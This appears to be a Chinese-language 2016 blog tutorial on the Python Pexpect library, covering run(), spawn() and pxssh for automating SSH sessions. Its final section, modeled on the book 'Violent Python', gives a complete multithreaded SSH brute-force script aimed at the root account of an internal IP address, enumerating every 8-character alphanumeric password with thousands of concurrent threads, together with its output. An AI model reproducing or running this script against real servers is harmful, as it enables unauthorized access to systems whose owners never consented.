使用 Python3 编码时, 不可避免的会调用到系统命令, 一般会使用

os.open
os.system
subprocess.call
commands

常用的库, 如果涉及到登录到其他系统上操作某指令, 以前会撸一个 shell 脚本, 调用 epxect xx.sh 来执行.

Violent Python 书中发现作者用的是 Pexpect 库, 挺有意思的, 分享一下.

1. 简介

Pexpect 是一个用来启动子程序并对其进行自动控制的 Python 模块, 可以和 ssh、ftp、passwd、telnet 等命令行程序进行自动交互。

安装

pip install pexpect

测试一下:

>>> import pexpect
>>> pexpect.run('ls -a')
b'.\t..\ttest.py\r\n'

2. 使用

pexpect 提供了两个类来调用系统命令 run() 和 spawn(), 推荐使用后者.

2.1 run() 函数

如上面的测试例子, run()函数的输出和 os.system() 命令非常相似, 比较高级的是, pexpect.run() 能获得 sys.out 输出内容以及命令的退出状态

>>> output, status = pexpect.run('ls /', withexitstatus=1)
>>> status
0
>>> output
b'Applications\t\t\tUsers\t\t\t\tdata\t\t\t\tinstaller.failurerequests......\r\n'
>>>
## 不存在的目录
>>> output, status = pexpect.run('ls /DirNotExits', withexitstatus=1)
>>> status
1
>>> output
b'ls: /DirNotExits: No such file or directory\r\n'

2.2 spawn() 函数

spawn 用来启动子程序, 可以良好的与用户进行命令交互, 写法与 expect shell 命令非常类似.

child = pexpect.spawn() 		开启子线程, 用来执行系统命令
child.expect(expect_words) 		服务器返回的字符串, 支持正则表达式
child.sendline(cmd) 			所登录的 server 执行 cmd, 类似 send 
child.before					上一条命令的标准输出

比如下面的 ssh 登录脚本

import pexpect

PROMPT = ['#', '>>>', '>', '\$']


def login_server(host, user, passwd):
    '''
    模拟 ssh 登录
    :param host: server host
    :param user: 账户名
    :param passwd: 登录密码
    :return: child
    '''

    ## 构造系统命令
    login_cmd = 'ssh %s@%s' % (user, host)
    ## pexpect.spawn() 开启子进程执行
    child = pexpect.spawn(login_cmd)
    ## expect() 是期望的返回
    child.expect('password:')
    ## 输入密码
    ret = child.sendline(passwd)
    ## 登录成功后, 会显示 [$, #, >>>] 等符号
    child.expect('\$')

    ## 在所登录的 server 上执行命令
    child.sendline('df -ah')
    child.expect('\$')
    ## 打印结果
    print(child.before)

login_server('www.google.com', 'log', 'log_password')

通常需要将结果打印到日志中, 在child = pexpect.spawn(login_cmd) 下添加

fout = open('output.log', 'ab')
child.logfile = fout

cat 一下日志 output.log 的内容:

(pycharm_env) ➜  lab git:(master)cat output.log

[email protected]'s password: log_password

Last login: Sat Oct  8 21:45:13 2016 from 10.15.28.118

    _     _  _  _             _
   / \   | |(_)| |__    __ _ | |__    __ _
  / _ \  | || || '_ \  / _` || '_ \  / _` |
 / ___ \ | || || |_) || (_| || |_) || (_| |
/_/   \_\|_||_||_.__/  \__,_||_.__/  \__,_|


Last Generated motd: Mon Apr  9 16:32:33 CST 2012


[log@google-1-1 /home/admin/logs/google]
$df -ah
df -ah
Filesystem            Size  Used Avail Use% Mounted on
/dev/xvda1             60G   37G   21G  64% /
proc                     0     0     0   -  /proc
sysfs                    0     0     0   -  /sys
devpts                   0     0     0   -  /dev/pts
tmpfs                 3.9G     0  3.9G   0% /dev/shm
none                     0     0     0   -  /proc/xen
none                     0     0     0   -  /proc/sys/fs/binfmt_misc

[log@google-1-1 /home/admin/logs/google]
$%  

可以 YY, 运维同学监控这么多服务器的磁盘, 网络, CPU 等状态, 说不定用的类似手段收集信息.

2.2.1 使用 pxssh

按照上面的那个例子来写, 和写 shell 脚本没多大区别, 一点也不 Pythonic! 翻阅文档, 发现果然有一站式服务, spawn 的子类: pxssh() 该类集成了 login, logout, prompt 方法, 不必自己写 pexpect 了. 上面的登录脚本浓缩成一句话:

 pxssh().login(host, user, password)

将 pxssh.py 源码文件的注释抄下来学习, 也是一目了然:


'''Example that runs a few commands on a remote server and prints the result'''
from pexpect import pxssh
import getpass
try:
    s = pxssh.pxssh()
    hostname = raw_input('hostname: ')
    username = raw_input('username: ')
    password = getpass.getpass('password: ')
    s.login(hostname, username, password)
    s.sendline('uptime')   # run a command
    s.prompt()             # match the prompt
    print(s.before)        # print everything before the prompt.
    s.sendline('ls -l')
    s.prompt()
    print(s.before)
    s.sendline('df')
    s.prompt()
    print(s.before)
    s.logout()
except pxssh.ExceptionPxssh as e:
    print("pxssh failed on login.")
    print(e)

3. 举个例子: pxssh 暴力登录

回到最开始的那本书 Violent Python, 作者就是拿 pexpect 遍历字典登录 Linux Server 的. 我们用 pxssh 大概模拟一下.

  • 登录脚本
def ssh_login(host, user, password):
    '''
    模拟 ssh 登录
    :param host: server host
    :param user: 账户名
    :param passwd: 登录密码
    :return: child
    '''
    try:
        pxssh().login(host, user, password)
    except Exception as e:
        pass
  • 得用多线程提高效率, 同时控制并发

  • 缩小下字典范围, 26大小写字母 + 阿拉伯数字


def generate_password_dict(password_length):
    '''
    :param length: 密码长度
    :return:
    '''
    # words = 'a..zA..Z0..9'
    words = ''.join([str(i) for i in range(0, 10)] + [chr(i) for i in range(ord('a'), ord('a') + 26)] + \
                    [chr(i) for i in range(ord('A'), ord('A') + 26)])

    passwords = itertools.product(words, repeat=password_length)
    # with open('password.txt', 'w') as f:
    #     for password in passwords:
    #         f.write(''.join(password) + '\n')
    return passwords

结合起来, 简陋代码如下:

以服务器 10.81.72.213 举例, 尝试 crack root 密码.

import itertools
import threading

from pexpect.pxssh import pxssh

PROMPT = ['#', '>>>', '>', '\$']

thread_lock = threading.BoundedSemaphore(5000)

host = '10.81.72.213'
user = 'root'


def ssh_login(host, user, password):
    '''
    模拟 ssh 登录
    :param host: server host
    :param user: 账户名
    :param passwd: 登录密码
    :return: child
    '''
    try:
        pxssh().login(host, user, password)
        print('Password found: ' + password)
    except Exception as e:
        pass
    finally:
        thread_lock.release()


def generate_password_dict(password_length):
    '''
    生成指定长度的密码字典
    :param length: 密码长度
    :return:
    '''
    # words = 'a..zA..Z0..9'
    words = ''.join([str(i) for i in range(0, 10)] + [chr(i) for i in range(ord('a'), ord('a') + 26)] + \
                    [chr(i) for i in range(ord('A'), ord('A') + 26)])

    passwords = itertools.product(words, repeat=password_length)
    # with open('password.txt', 'w') as f:
    #     for password in passwords:
    #         f.write(''.join(password) + '\n')
    return passwords


def violent_example():
    '''
    生成密码, 多线程执行登录
    :return:
    '''
    index = 0
    for p in generate_password_dict(8):
        password = ''.join(p)
        thread_lock.acquire()
        thread = threading.Thread(target=ssh_login, args=(host, user, password))
        thread.start()
        index += 1
        if index % 10 ** 4 == 0:
            print("%s password failed" % index)


if __name__ == '__main__':
    violent_example()

结果输出:

10000 password failed
20000 password failed
30000 password failed
40000 password failed
50000 password failed
60000 password failed
70000 password failed
80000 password failed
90000 password failed
100000 password failed
110000 password failed
120000 password failed
130000 password failed
140000 password failed
150000 password failed
160000 password failed
170000 password failed

将线程开大些, 登录超时调小一点, 有生之年说不定能撞出内部 Linux Server 的密码, lol~

现实世界, 稍微靠谱点的 VPS 托管商, 肯定会拦截掉一直登录失败的 ip, 不给机会遍历字典~~~

4. 参考资料

  1. Pexpect version 4.2
  2. pxssh.py
  3. 探索 Pexpect
  4. Violent Python 中文版


blog comments powered by Disqus

Published

10 October 2016

Tags